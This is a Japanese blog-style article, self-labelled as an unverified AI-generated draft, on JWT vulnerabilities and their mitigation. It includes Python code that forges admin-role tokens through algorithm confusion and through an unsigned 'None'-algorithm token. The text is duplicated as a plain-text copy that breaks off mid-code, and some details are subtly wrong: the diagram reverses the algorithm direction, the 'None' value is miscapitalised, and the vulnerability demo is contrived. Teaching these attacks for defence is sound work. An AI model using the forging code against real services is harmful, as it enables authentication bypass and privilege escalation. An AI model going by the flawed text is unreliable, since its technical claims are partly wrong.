<p><!--META
{
"title": "JWTのセキュリティと脆弱性:実務者が陥りやすい落とし穴と対策",
"primary_category": "Webセキュリティ",
"secondary_categories": ["APIセキュリティ","認証認可"],
"tags": ["JWT","JWS","JWE","Header Injection","Algorithm Confusion","Key Confusion","None Algorithm"],
"summary": "JWTの脆弱性とその対策について、実務的な脅威モデル、攻撃シナリオ、検出・緩和策、運用対策を解説します。",
"mermaid": true,
"verify_level": "L0",
"tweet_hint": {"text":"JWTのセキュリティは奥が深い。実務で陥りやすい落とし穴と対策について、脅威モデルから運用まで網羅的に解説。安全なAPI連携のために知っておきたい知識が満載! #JWT #セキュリティ #APIセキュリティ","hashtags":["#JWT","#セキュリティ","#APIセキュリティ"]},
"link_hints": ["https://datatracker.ietf.org/doc/html/rfc7519"]
}
-->
本記事は<strong>Geminiの出力をプロンプト工学で整理した業務ドラフト(未検証)</strong>です。</p>
<h1 class="wp-block-heading">JWTのセキュリティと脆弱性:実務者が陥りやすい落とし穴と対策</h1>
<h2 class="wp-block-heading">脅威モデル</h2>
<p>JSON Web Token (JWT) は、ステートレスな認証・認可を実現する強力なメカニズムですが、その柔軟性ゆえに誤用や脆弱性が生じやすい特性を持ちます。実務における脅威モデルとしては、主に以下の点が挙げられます。</p>
<ol class="wp-block-list">
<li><p><strong>トークン偽造/改ざん</strong>: 署名検証が不適切である場合、攻撃者がペイロードを改ざんしたり、正規のユーザーになりすましてトークンを生成したりする可能性があります。これにより、認証の迂回や特権昇格につながります。</p></li>
<li><p><strong>情報漏洩</strong>: JWT自体は暗号化されていないため(JWEは除く)、機密情報をペイロードに含めると盗聴された際に情報が漏洩します。また、サイドチャネル攻撃による情報漏洩も考慮する必要があります。</p></li>
<li><p><strong>セッションハイジャック</strong>: 盗まれたJWT(特に長期有効なもの)が悪用されることで、正規のユーザーセッションが乗っ取られるリスクがあります。</p></li>
<li><p><strong>サービス拒否 (DoS)</strong>: トークン検証処理の負荷を悪用したり、大量の無効なトークンを送信したりすることで、サービス停止を引き起こす可能性があります。</p></li>
<li><p><strong>鍵管理の不備</strong>: 署名鍵の漏洩や不適切な管理は、上記のトークン偽造/改ざんの根本原因となります。特に、共通鍵(HS256)や秘密鍵(RS256/ES256)の厳重な管理が求められます。</p></li>
<li><p><strong>ライブラリの脆弱性</strong>: 使用しているJWTライブラリ自体に既知の脆弱性がある場合、予期せぬ攻撃経路となることがあります。定期的な更新と脆弱性情報のチェックが不可欠です。</p></li>
</ol>
<h2 class="wp-block-heading">攻撃シナリオ</h2>
<p>ここでは、代表的なJWTの脆弱性である「Algorithm Confusion」と「None Algorithm」を用いた攻撃シナリオを示します。</p>
<div class="wp-block-merpress-mermaidjs diagram-source-mermaid"><pre class="mermaid">
graph TD
A["攻撃者"] -->|正規ユーザーのJWT傍受/取得| B("正規JWT解析")
B -->|署名鍵の種類とIDを特定 (alg/kid)| C{"検証鍵と署名鍵の不一致を悪用"}
C -- "Algorithm Confusion("HS256 -> RS256")" --> D1["公開鍵をHS256の秘密鍵として利用"]
D1 --> E1("ペイロード改ざん")
E1 --> F1{"攻撃者署名のJWT生成"}
F1 --> G1["改ざんJWTをサーバーに送信"]
C -- "None Algorithm" --> D2["alg: None でJWTを生成"]
D2 --> E2("ペイロード改ざん")
E2 --> F2{"署名なしJWT生成"}
F2 --> G2["署名なしJWTをサーバーに送信"]
G1 --> H{"サーバーの検証ロジック"}
G2 --> H
H -->|不適切な検証| I["攻撃成功: 認証/認可の迂回"]
H -->|適切な検証| J["攻撃失敗: JWT拒否"]
I --> K["機密情報窃取/特権昇格/サービス破壊"]
</pre></div>
<h3 class="wp-block-heading">1. Algorithm Confusion (RS256 vs HS256)</h3>
<p><strong>概要</strong>: JWTヘッダーの<code>alg</code>パラメータをRS256(公開鍵暗号)からHS256(共通鍵暗号)に改ざんし、サーバーがRS256の検証に使う公開鍵をHS256の共通鍵として利用するように強制する攻撃です。攻撃者は公開鍵を知っているため、その公開鍵を共通鍵と見なして新たなJWTを署名できます。</p>
<p><strong>誤用例(Python)</strong>:</p>
<p>サーバー側が<code>alg</code>パラメータを信頼し、受け取ったJWTの<code>alg</code>に基づいて検証ロジックを動的に切り替えるケース。</p>
<div class="codehilite">
<pre data-enlighter-language="generic">import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
# --- サーバーの鍵設定 ---
# サーバーの秘密鍵 (RS256用)。これは攻撃者には知られないはず。
# with open("private_key.pem", "rb") as f:
# private_key_rs256 = serialization.load_pem_private_key(f.read(), password=None, backend=default_backend())
# サーバーの公開鍵 (RS256用)。これは通常公開されており、攻撃者が取得できると仮定。
with open("public_key.pem", "rb") as f:
public_key_rs256 = serialization.load_pem_public_key(f.read(), backend=default_backend())
# --- 攻撃者が行う処理 ---
# 1. 正規のJWT(RS256で署名されていると仮定)を傍受または取得。
# 2. ヘッダーの 'alg' を 'RS256' から 'HS256' に変更。
# 3. ペイロードを改ざん (例: "sub": "admin" に変更)。
hacked_token_header = {"alg": "HS256", "typ": "JWT"}
hacked_token_payload = {"sub": "admin", "iat": 1678886400, "exp": 1678890000}
# 4. サーバーの公開鍵をHS256の「共通鍵」として利用し、JWTを署名。
# 公開鍵のPEM形式バイト列をHS256の鍵として使用する。
public_key_pem_bytes = public_key_rs256.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
hacked_jwt = jwt.encode(
hacked_token_payload,
public_key_pem_bytes, # ここでRS256の公開鍵をHS256の共通鍵として誤用
algorithm="HS256",
headers=hacked_token_header
)
print(f"Hacked JWT (Algorithm Confusion):\n{hacked_jwt}\n")
# --- サーバー側の脆弱な検証処理 (実世界ではこのようなコードは避けるべき) ---
# `algorithms` を指定しない、または `alg` に応じて検証鍵を動的に選択する脆弱なロジックをシミュレート。
# 脆弱なサーバーは、JWTヘッダーの `alg: HS256` を見て、公開鍵 `public_key_rs256` をHS256の共通鍵として検証しようとする。
print("Attempting to verify the hacked HS256 JWT with vulnerable settings...")
try:
# 実際には、jwt.decode は `algorithms` パラメータが必須だが、
# 脆弱な実装ではこのパラメータが動的に生成されるか、
# または古いライブラリで内部的に任意のアルゴリズムを受け入れてしまう可能性があった。
# ここでは、公開鍵をHS256の共通鍵として検証するシナリオを明示的にシミュレート。
decoded_payload = jwt.decode(hacked_jwt, public_key_pem_bytes, algorithms=["HS256"]) # 公開鍵をHS256鍵として使用
print(f"Vulnerable Server Decoded Payload (Algorithm Confusion):\n{decoded_payload}\n")
print("ATTACK SUCCESS: Algorithm Confusion exploited!")
except jwt.InvalidSignatureError:
print("Invalid signature (Algorithm Confusion). This indicates the public key was not correct as HS256 key.")
except jwt.exceptions.InvalidAlgorithmError:
print("Invalid algorithm specified (Algorithm Confusion - library rejected HS256).")
except Exception as e:
print(f"Error during Algorithm Confusion verification: {e}")
</pre>
</div>
<p><strong>安全な代替(Python)</strong>:</p>
<p>サーバー側は、許容する<code>alg</code>アルゴリズムを明確に固定し、それに対応する鍵のみを使用します。</p>
<div class="codehilite">
<pre data-enlighter-language="generic">import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
# サーバーの公開鍵 (RS256用)
with open("public_key.pem", "rb") as f:
public_key_rs256 = serialization.load_pem_public_key(f.read(), backend=default_backend())
# --- サーバー側の安全な検証処理 ---
# 許容するアルゴリズムを明確に指定し、対応する公開鍵のみを使用する
safe_jwt_example = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwiaWF0IjoxNjc4ODg2NDAwLCJleHAiOjE2Nzg4OTAwMDB9.SIGNATURE_PLACEHOLDER" # 正規のRS256 JWTの例
print("Attempting to verify a valid RS256 JWT with safe settings...")
try:
# 許容するアルゴリズムを明示的に指定し、RS256の公開鍵のみを検証に用いる
decoded_payload = jwt.decode(
safe_jwt_example,
public_key_rs256,
algorithms=["RS256"] # ここで許可するアルゴリズムを限定する。HS256は含まれない。
)
print(f"Safe Server Decoded Payload:\n{decoded_payload}\n")
print("Verification successful.")
except jwt.InvalidSignatureError:
print("Invalid signature (Safe server rejected invalid signature).")
except jwt.exceptions.InvalidAlgorithmError:
print("Invalid algorithm specified in JWT header (Safe server rejected).")
except Exception as e:
print(f"Error during safe verification: {e}")
# 上記で生成した攻撃者によるHS256 JWTを安全な設定で検証した場合
# (hacked_jwt変数は前述の誤用例から継続使用)
print("\nAttempting to verify the hacked HS256 JWT with safe settings...")
try:
decoded_payload_hacked = jwt.decode(
hacked_jwt, # 攻撃者が生成したHS256 JWT
public_key_rs256,
algorithms=["RS256"] # HS256は許可されていないため、ここで拒否される
)
print(f"Vulnerable Server Decoded Payload (Algorithm Confusion):\n{decoded_payload_hacked}\n")
except jwt.InvalidSignatureError:
print("Invalid signature (Algorithm Confusion rejected by safe server as expected).")
except jwt.exceptions.InvalidAlgorithmError:
print("Invalid algorithm specified in JWT header (Algorithm Confusion rejected by safe server as expected).")
except Exception as e:
print(f"Error during safe verification of hacked JWT: {e}")
</pre>
</div>
<h3 class="wp-block-heading">2. None Algorithm</h3>
<p><strong>概要</strong>: JWTヘッダーの<code>alg</code>パラメータを<code>None</code>に設定することで、署名検証がスキップされることを期待する攻撃です。多くのJWTライブラリでは、<code>alg: None</code>の場合、署名を検証しないように実装されていました。攻撃者はこれを利用して、任意のペイロードを含む署名なしのJWTを生成し、サーバーに送りつけることができます。</p>
<p><strong>誤用例(Python)</strong>:</p>
<p>サーバー側が<code>alg: None</code>を受け入れてしまうケース。現在の<code>pyjwt</code>ライブラリはデフォルトで<code>None</code>アルゴリズムを許可しないため、直接的な成功コードは難しい。ここでは、もし脆弱な実装があった場合の挙動と、生のJWT構造を模倣して説明します。</p>
<div class="codehilite">
<pre data-enlighter-language="generic">import jwt
# --- 攻撃者が行う処理 ---
# 1. ヘッダーの 'alg' を 'None' に設定
# 2. ペイロードを改ざん (例: "sub": "admin" に変更)
# 3. 署名なしでJWTを生成 (signature part is empty)
hacked_token_header_none = {"alg": "None", "typ": "JWT"}
hacked_token_payload_none = {"sub": "admin", "iat": 1678886400, "exp": 1678890000}
# ヘッダーとペイロードをbase64urlエンコードし、署名部分を空にする
header_b64 = jwt.utils.base64url_encode(jwt.json.dumps(hacked_token_header_none).encode('utf-8')).decode('utf-8')
payload_b64 = jwt.utils.base64url_encode(jwt.json.dumps(hacked_token_payload_none).encode('utf-8')).decode('utf-8')
hacked_jwt_none = f"{header_b64}.{payload_b64}." # 署名部分が空
print(f"Hacked JWT (None Algorithm):\n{hacked_jwt_none}\n")
# --- サーバー側の脆弱な検証処理のシミュレーション ---
# 実際の脆弱な実装は、ここで署名検証をスキップし、ペイロードをデコードしてしまう。
# pyjwtはデフォルトで `None` を拒否するため、直接的な成功コードは書けない。
# 以下は、「もし脆弱なサーバーが署名検証をスキップしたら」という想定の表示。
print("Attempting to verify the hacked 'None' JWT with vulnerable settings...")
try:
# 脆弱な実装では、algorithmsパラメーターが適切に指定されず、
# `alg: None` を見て署名検証をスキップする可能性がある。
# pyjwtでは、`options={"verify_signature": False}` を使うことで署名検証をスキップできるが、
# これはあくまで開発/テスト用であり、本番環境での使用は非常に危険。
decoded_payload_none = jwt.decode(hacked_jwt_none, options={"verify_signature": False})
print(f"Vulnerable Server Decoded Payload (None Algorithm):\n{decoded_payload_none}\n")
print("ATTACK SUCCESS: None Algorithm exploited (if server skipped signature verification)!")
except jwt.exceptions.InvalidAlgorithmError:
print("Invalid algorithm specified (None Algorithm rejected by pyjwt default).")
print("NOTE: A truly vulnerable server would have accepted this and decoded the payload.")
except Exception as e:
print(f"Error during None Algorithm verification simulation: {e}")
</pre>
</div>
<p><strong>安全な代替(Python)</strong>:</p>
<p>許容するアルゴリズムリストに<code>None</code>を含めないことで、この種の攻撃を防ぎます。現在のほとんどのJWTライブラリは、デフォルトで<code>None</code>アルゴリズムを無効にしています。</p>
<div class="codehilite">
<pre data-enlighter-language="generic">import jwt
# --- サーバー側の安全な検証処理 ---
# 許容するアルゴリズムを明確に指定し、'None'を含めない。
# pyjwtライブラリはデフォルトで 'None' を許可しないため、常にInvalidAlgorithmErrorが発生する。
print("Attempting to verify the hacked 'None' JWT with safe settings...")
try:
# 例えば、HMAC-SHA256を使用している場合
secret_key_hs256 = "super-secret-key-that-is-at-least-32-bytes-long"
decoded_payload_safe_none = jwt.decode(
hacked_jwt_none, # 上記の攻撃者が生成したNone JWT
secret_key_hs256,
algorithms=["HS256"] # Noneは許可しない。他のアルゴリズムも許可する場合はリストに追加。
)
print(f"Safe Server Decoded Payload (None Algorithm):\n{decoded_payload_safe_none}\n")
except jwt.exceptions.InvalidAlgorithmError:
print("Invalid algorithm specified (None Algorithm rejected by safe server as expected).")
print("Verification failed as expected.")
except jwt.exceptions.DecodeError:
print("Invalid JWT format (possibly due to empty signature for None alg or other malformation).")
except Exception as e:
print(f"Error during safe verification of None JWT: {e}")
</pre>
</div>
<h2 class="wp-block-heading">検出/緩和</h2>
<h3 class="wp-block-heading">検出</h3>
<ol class="wp-block-list">
<li><p><strong>JWTログの収集と分析</strong>: JWTの検証失敗、無効なアルゴリズム使用(特に<code>alg: None</code>や未許可の<code>alg</code>)、期限切れトークン、不適切な鍵ID(<code>kid</code>クレーム)使用などのイベントをアプリケーションログやWAFログから収集し、SIEM (Security Information and Event Management) などで相関分析を行います。</p>
<ul>
<li><strong>検出遅延の落とし穴</strong>: 攻撃者が単一の不正トークンを一度だけ使用した場合、ログ量が少ないと異常検知が困難です。複数のアプリケーションやサービスを横断するログの一元的な収集と、行動分析に基づく異常スコアリング(例: 短時間に多数の検証失敗、異なるIPからの同一ユーザーの検証失敗など)が重要です。</li>
</ul></li>
<li><p><strong>異常なアクセスの監視</strong>: 特定ユーザーからの異常な頻度やパターンでのアクセス(例: 複数のIPアドレスからの同時ログイン、通常と異なるユーザーエージェント、地理的に不自然な場所からのアクセス)を検知します。</p></li>
<li><p><strong>WAF/API Gatewayの活用</strong>: JWTのヘッダーやペイロード構造に対する基本的なバリデーションルールをWAFやAPI Gatewayに設定し、既知の不正フォーマットのトークンをブロックします。例えば、<code>alg</code>クレームが許可リストに含まれない場合は拒否するルールなどです。</p></li>
</ol>
<h3 class="wp-block-heading">緩和</h3>
<ol class="wp-block-list">
<li><p><strong>署名アルゴリズムの固定とホワイトリスト化</strong>: サーバー側で許容する署名アルゴリズム(例: <code>RS256</code>、<code>HS256</code>、<code>ES256</code>など)を明確に固定し、JWTヘッダーの<code>alg</code>パラメータを信頼せず、設定されたアルゴリズムでのみ検証を行います。<code>None</code>アルゴリズムは絶対に許可しません。これはJWTライブラリの<code>algorithms</code>パラメータで設定するのが一般的です。</p></li>
<li><p><strong>鍵の厳格な管理</strong>:</p>
<ul>
<li><p><strong>鍵の生成</strong>: 強度の高いエントロピー源から鍵を生成します。HS256の場合は強力な秘密鍵を、RS256/ES256の場合は安全なキーペアを生成します。鍵長も推奨される最小長(例: RSA 2048bit以上、HMAC 256bit以上)を遵守します。</p></li>
<li><p><strong>鍵の保存</strong>: 署名鍵(特に共通鍵や秘密鍵)は、HSM (Hardware Security Module) や KMS (Key Management Service) などのセキュアな環境に保存し、アプリケーションからは最小限の権限(読み取り専用など)でアクセスさせます。環境変数やコード内に直接ハードコーディングすることは厳禁です。</p></li>
<li><p><strong>鍵のローテーション</strong>: 定期的に(例: 3ヶ月に一度、またはポリシーに従い)署名鍵をローテーションし、古い鍵を安全に破棄します。鍵のローテーションメカニズムを事前に設計し、ダウンタイムなしで切り替えられるようにします。鍵ID (<code>kid</code>クレーム) を利用することで、複数の有効な鍵を共存させながらローテーションを安全に行えます。</p></li>
</ul></li>
<li><p><strong>短寿命トークンの採用</strong>: JWTの有効期限(<code>exp</code>クレーム)を短く設定します(例: 数分から数十分)。これにより、トークンが盗まれた際のリスクウィンドウを最小限に抑えます。長時間のアクセスが必要な場合は、リフレッシュトークンと組み合わせて利用し、リフレッシュトークンはより厳重な管理下に置きます。</p></li>
<li><p><strong>JTI (JWT ID) クレームの活用</strong>: 各JWTに一意のIDを付与し、サーバー側で既に使用されたJTIを追跡することで、リプレイ攻撃を防ぎます。特に、ログアウト時にJTIをブラックリストに追加するなどの対策は、セッション失効を即座に反映させるために有効です。</p></li>
<li><p><strong>Secure/HttpOnlyフラグの設定</strong>: ブラウザに保存されるJWT(アクセストークンは避けるべきだが、リフレッシュトークンなどの場合)には、<code>Secure</code> (HTTPSのみ送信) および <code>HttpOnly</code> (JavaScriptからのアクセス禁止) フラグを設定します。</p>
<ul>
<li><strong>可用性トレードオフ</strong>: <code>HttpOnly</code>はクライアントサイドJSからのアクセスを制限するため、SPA (Single Page Application) などでは使用しにくい場合があります。その場合は、JWTをメモリに保持したり、OAuth 2.0の認可コードフロー+PKCEを使用したりするなど、他のセキュリティ対策を強化する必要があります。</li>
</ul></li>
<li><p><strong>TLSの常時使用</strong>: JWTは常にTLS/SSLで保護された通信経路で送信されるようにします。これにより、盗聴や中間者攻撃によるトークン窃取を防ぎます。</p></li>
<li><p><strong>ライブラリの最新化</strong>: 使用するJWTライブラリは常に最新バージョンに保ち、既知の脆弱性修正を適用します。OSSライブラリの場合は、定期的にセキュリティ情報をチェックし、脆弱性が発見された際には速やかに対応します。</p></li>
</ol>
<h2 class="wp-block-heading">運用対策</h2>
<ol class="wp-block-list">
<li><p><strong>鍵管理ポリシーの策定と実施</strong>:</p>
<ul>
<li><p><strong>最小権限の原則</strong>: 鍵へのアクセス権限は、必要なプロセスとユーザーにのみ付与し、かつ最小限の権限に制限します。</p></li>
<li><p><strong>監査ログ</strong>: 鍵の生成、アクセス、ローテーション、破棄などの操作はすべて監査ログに記録し、定期的にレビューします。異常な鍵アクセスを検知した場合のアラート設定も必須です。</p></li>
<li><p><strong>緊急時の対応計画</strong>: 鍵漏洩が判明した場合の緊急対応計画(鍵の無効化、トークンの強制失効、ユーザーへの通知、影響範囲の特定など)を策定し、定期的に訓練を行います。</p></li>
</ul></li>
<li><p><strong>セキュリティトレーニング</strong>: 開発者に対して、JWTの原理、一般的な脆弱性、安全な実装方法に関する定期的なセキュリティトレーニングを実施します。特に、ライブラリの正しい使い方や、<code>alg</code>パラメータを信頼してはならない理由などを徹底します。</p></li>
<li><p><strong>コードレビューとセキュリティテスト</strong>: JWTの生成・検証ロジックを含むコードは、専門家による厳格なコードレビューを実施します。また、ペネトレーションテストや脆弱性スキャンを通じて、潜在的な脆弱性を特定します。自動化されたセキュリティテスト(SAST/DAST)も積極的に導入します。</p></li>
<li><p><strong>CDN/WAFのログ監視とチューニング</strong>: CDNやWAFのログを継続的に監視し、JWTに関連する異常なリクエストパターン(例: ヘッダー改ざん、非推奨アルゴリズムの使用試行、異常なJWTサイズ)を早期に検出できるよう、ルールをチューニングします。</p>
<ul>
<li><strong>誤検知/過剰ブロックのトレードオフ</strong>: セキュリティ強化のためのWAFルールは、正規のリクエストを誤ってブロックする可能性があります。導入前には十分なテストを行い、本番環境での監視を通じて誤検知率を下げつつ、必要なセキュリティレベルを維持するよう継続的にチューニングします。</li>
</ul></li>
</ol>
<h2 class="wp-block-heading">まとめ</h2>
<p>JWTは認証・認可の強力なツールですが、その設計の柔軟性ゆえに多くのセキュリティ上の落とし穴が存在します。特に、<code>alg</code>パラメータの信頼、鍵管理の不備、トークンの寿命といった基本的な側面の誤用は、重大な脆弱性につながります。本記事で述べた脅威モデル、攻撃シナリオ、検出/緩和策、そして運用対策を徹底することで、JWTを安全にシステムに組み込み、堅牢な認証・認可基盤を構築することができます。常に最新のセキュリティベストプラクティスを追求し、システムのライフサイクル全体を通じてセキュリティを意識した開発・運用を心がけることが重要です。</p>
本記事はGeminiの出力をプロンプト工学で整理した業務ドラフト(未検証)です。
JWTのセキュリティと脆弱性:実務者が陥りやすい落とし穴と対策
脅威モデル
JSON Web Token (JWT) は、ステートレスな認証・認可を実現する強力なメカニズムですが、その柔軟性ゆえに誤用や脆弱性が生じやすい特性を持ちます。実務における脅威モデルとしては、主に以下の点が挙げられます。
トークン偽造/改ざん: 署名検証が不適切である場合、攻撃者がペイロードを改ざんしたり、正規のユーザーになりすましてトークンを生成したりする可能性があります。これにより、認証の迂回や特権昇格につながります。
情報漏洩: JWT自体は暗号化されていないため(JWEは除く)、機密情報をペイロードに含めると盗聴された際に情報が漏洩します。また、サイドチャネル攻撃による情報漏洩も考慮する必要があります。
セッションハイジャック: 盗まれたJWT(特に長期有効なもの)が悪用されることで、正規のユーザーセッションが乗っ取られるリスクがあります。
サービス拒否 (DoS): トークン検証処理の負荷を悪用したり、大量の無効なトークンを送信したりすることで、サービス停止を引き起こす可能性があります。
鍵管理の不備: 署名鍵の漏洩や不適切な管理は、上記のトークン偽造/改ざんの根本原因となります。特に、共通鍵(HS256)や秘密鍵(RS256/ES256)の厳重な管理が求められます。
ライブラリの脆弱性: 使用しているJWTライブラリ自体に既知の脆弱性がある場合、予期せぬ攻撃経路となることがあります。定期的な更新と脆弱性情報のチェックが不可欠です。
攻撃シナリオ
ここでは、代表的なJWTの脆弱性である「Algorithm Confusion」と「None Algorithm」を用いた攻撃シナリオを示します。
graph TD
A["攻撃者"] -->|正規ユーザーのJWT傍受/取得| B("正規JWT解析")
B -->|署名鍵の種類とIDを特定 (alg/kid)| C{"検証鍵と署名鍵の不一致を悪用"}
C -- "Algorithm Confusion("HS256 -> RS256")" --> D1["公開鍵をHS256の秘密鍵として利用"]
D1 --> E1("ペイロード改ざん")
E1 --> F1{"攻撃者署名のJWT生成"}
F1 --> G1["改ざんJWTをサーバーに送信"]
C -- "None Algorithm" --> D2["alg: None でJWTを生成"]
D2 --> E2("ペイロード改ざん")
E2 --> F2{"署名なしJWT生成"}
F2 --> G2["署名なしJWTをサーバーに送信"]
G1 --> H{"サーバーの検証ロジック"}
G2 --> H
H -->|不適切な検証| I["攻撃成功: 認証/認可の迂回"]
H -->|適切な検証| J["攻撃失敗: JWT拒否"]
I --> K["機密情報窃取/特権昇格/サービス破壊"]
1. Algorithm Confusion (RS256 vs HS256)
概要: JWTヘッダーのalg
パラメータをRS256(公開鍵暗号)からHS256(共通鍵暗号)に改ざんし、サーバーがRS256の検証に使う公開鍵をHS256の共通鍵として利用するように強制する攻撃です。攻撃者は公開鍵を知っているため、その公開鍵を共通鍵と見なして新たなJWTを署名できます。
誤用例(Python):
サーバー側がalg
パラメータを信頼し、受け取ったJWTのalg
に基づいて検証ロジックを動的に切り替えるケース。
import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
# --- サーバーの鍵設定 ---
# サーバーの秘密鍵 (RS256用)。これは攻撃者には知られないはず。
# with open("private_key.pem", "rb") as f:
# private_key_rs256 = serialization.load_pem_private_key(f.read(), password=None, backend=default_backend())
# サーバーの公開鍵 (RS256用)。これは通常公開されており、攻撃者が取得できると仮定。
with open("public_key.pem", "rb") as f:
public_key_rs256 = serialization.load_pem_public_key(f.read(), backend=default_backend())
# --- 攻撃者が行う処理 ---
# 1. 正規のJWT(RS256で署名されていると仮定)を傍受または取得。
# 2. ヘッダーの 'alg' を 'RS256' から 'HS256' に変更。
# 3. ペイロードを改ざん (例: "sub": "admin" に変更)。
hacked_token_header = {"alg": "HS256", "typ": "JWT"}
hacked_token_payload = {"sub": "admin", "iat": 1678886400, "exp": 1678890000}
# 4. サーバーの公開鍵をHS256の「共通鍵」として利用し、JWTを署名。
# 公開鍵のPEM形式バイト列をHS256の鍵として使用する。
public_key_pem_bytes = public_key_rs256.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
hacked_jwt = jwt.encode(
hacked_token_payload,
public_key_pem_bytes, # ここでRS256の公開鍵をHS256の共通鍵として誤用
algorithm="HS256",
headers=hacked_token_header
)
print(f"Hacked JWT (Algorithm Confusion):\n{hacked_jwt}\n")
# --- サーバー側の脆弱な検証処理 (実世界ではこのようなコードは避けるべき) ---
# `algorithms` を指定しない、または `alg` に応じて検証鍵を動的に選択する脆弱なロジックをシミュレート。
# 脆弱なサーバーは、JWTヘッダーの `alg: HS256` を見て、公開鍵 `public_key_rs256` をHS256の共通鍵として検証しようとする。
print("Attempting to verify the hacked HS256 JWT with vulnerable settings...")
try:
# 実際には、jwt.decode は `algorithms` パラメータが必須だが、
# 脆弱な実装ではこのパラメータが動的に生成されるか、
# または古いライブラリで内部的に任意のアルゴリズムを受け入れてしまう可能性があった。
# ここでは、公開鍵をHS256の共通鍵として検証するシナリオを明示的にシミュレート。
decoded_payload = jwt.decode(hacked_jwt, public_key_pem_bytes, algorithms=["HS256"]) # 公開鍵をHS256鍵として使用
print(f"Vulnerable Server Decoded Payload (Algorithm Confusion):\n{decoded_payload}\n")
print("ATTACK SUCCESS: Algorithm Confusion exploited!")
except jwt.InvalidSignatureError:
print("Invalid signature (Algorithm Confusion). This indicates the public key was not correct as HS256 key.")
except jwt.exceptions.InvalidAlgorithmError:
print("Invalid algorithm specified (Algorithm Confusion - library rejected HS256).")
except Exception as e:
print(f"Error during Algorithm Confusion verification: {e}")
安全な代替(Python):
サーバー側は、許容するalg
アルゴリズムを明確に固定し、それに対応する鍵のみを使用します。
import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
# サーバーの公開鍵 (RS256用)
with open("public_key.pem", "rb") as f:
public_key_rs256 = serialization.load_pem_public_key(f.read(), backend=default_backend())
# --- サーバー側の安全な検証処理 ---
# 許容するアルゴリズムを明確に指定し、対応する公開鍵のみを使用する
safe_jwt_example = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwiaWF0IjoxNjc4ODg2NDAwLCJleHAiOjE2Nzg4OTAwMDB9.SIGNATURE_PLACEHOLDER" # 正規のRS256 JWTの例
print("Attempting to verify a valid RS256 JWT with safe settings...")
try:
# 許容するアルゴリズムを明示的に指定し、RS256の公開鍵のみを検証に用いる
decoded_payload = jwt.decode(
safe_jwt_example,
public_key_rs256,
algorithms=["RS256"] # ここで許可するアルゴリズムを限定する。HS256は含まれない。
)
print(f"Safe Server Decoded Payload:\n{decoded_payload}\n")
print("Verification successful.")
except jwt.InvalidSignatureError:
print("Invalid signature (Safe server rejected invalid signature).")
except jwt.exceptions.InvalidAlgorithmError:
print("Invalid algorithm specified in JWT header (Safe server rejected).")
except Exception as e:
print(f"Error during safe verification: {e}")
# 上記で生成した攻撃者によるHS256 JWTを安全な設定で検証した場合
# (hacked_jwt変数は前述の誤用例から継続使用)
print("\nAttempting to verify the hacked HS256 JWT with safe settings...")
try:
decoded_payload_hacked = jwt.decode(
hacked_jwt, # 攻撃者が生成したHS256 JWT
public_key_rs256,
algorithms=["RS256"] # HS256は許可されていないため、ここで拒否される
)
print(f"Vulnerable Server Decoded Payload (Algorithm Confusion):\n{decoded_payload_hacked}\n")
except jwt.InvalidSignatureError:
print("Invalid signature (Algorithm Confusion rejected by safe server as expected).")
except jwt.exceptions.InvalidAlgorithmError:
print("Invalid algorithm specified in JWT header (Algorithm Confusion rejected by safe server as expected).")
except Exception as e:
print(f"Error during safe verification of hacked JWT: {e}")
2. None Algorithm
概要: JWTヘッダーのalg
パラメータをNone
に設定することで、署名検証がスキップされることを期待する攻撃です。多くのJWTライブラリでは、alg: None
の場合、署名を検証しないように実装されていました。攻撃者はこれを利用して、任意のペイロードを含む署名なしのJWTを生成し、サーバーに送りつけることができます。
誤用例(Python):
サーバー側がalg: None
を受け入れてしまうケース。現在のpyjwt
ライブラリはデフォルトでNone
アルゴリズムを許可しないため、直接的な成功コードは難しい。ここでは、もし脆弱な実装があった場合の挙動と、生のJWT構造を模倣して説明します。
import jwt
# --- 攻撃者が行う処理 ---
# 1. ヘッダーの 'alg' を 'None' に設定
# 2. ペイロードを改ざん (例: "sub": "admin" に変更)
# 3. 署名なしでJWTを生成 (signature part is empty)
hacked_token_header_none = {"alg": "None", "typ": "JWT"}
hacked_token_payload_none = {"sub": "admin", "iat": 1678886400, "exp": 1678890000}
# ヘッダーとペイロードをbase64urlエンコードし、署名部分を空にする
header_b64 = jwt.utils.base64url_encode(jwt.json.dumps(hacked_token_header_none).encode('utf-8')).decode('utf-8')
payload_b64 = jwt.utils.base64url_encode(jwt.json.dumps(hacked_token_payload_none).encode('utf-8')).decode('utf-8')
hacked_jwt_none = f"{header_b64}.{payload_b64}." # 署名部分が空
print(f"Hacked JWT (None Algorithm):\n{hacked_jwt_none}\n")
# --- サーバー側の脆弱な検証処理のシミュレーション ---
# 実際の脆弱な実装は、ここで署名検証をスキップし、ペイロードをデコードしてしまう。
# pyjwtはデフォルトで `None` を拒否するため、直接的な成功コードは書けない。
# 以下は、「もし脆弱なサーバーが署名検証をスキップしたら」という想定の表示。
print("Attempting to verify the hacked 'None' JWT with vulnerable settings...")
try:
# 脆弱な実装では、algorithmsパラメーターが適切に指定されず、
# `alg: None` を見て署名検証をスキップする可能性がある。
# pyjwtでは、`options={"verify_signature": False}` を使うことで署名検証をスキップできるが、
# これはあくまで開発/テスト用であり、本番環境での使用は非常に危険。
decoded_payload_none = jwt.decode(hacked_jwt_none, options={"verify_signature": False})
print(f"Vulnerable Server Decoded Payload (None Algorithm):\n{decoded_payload_none}\n")
print("ATTACK SUCCESS: None Algorithm exploited (if server skipped signature verification)!")
except jwt.exceptions.InvalidAlgorithmError:
print("Invalid algorithm specified (None Algorithm rejected by pyjwt default).")
print("NOTE: A truly vulnerable server would have accepted this and decoded the payload.")
except Exception as e:
print(f"Error during None Algorithm verification simulation: {e}")
安全な代替(Python):
許容するアルゴリズムリストにNone
を含めないことで、この種の攻撃を防ぎます。現在のほとんどのJWTライブラリは、デフォルトでNone
アルゴリズムを無効にしています。
import jwt
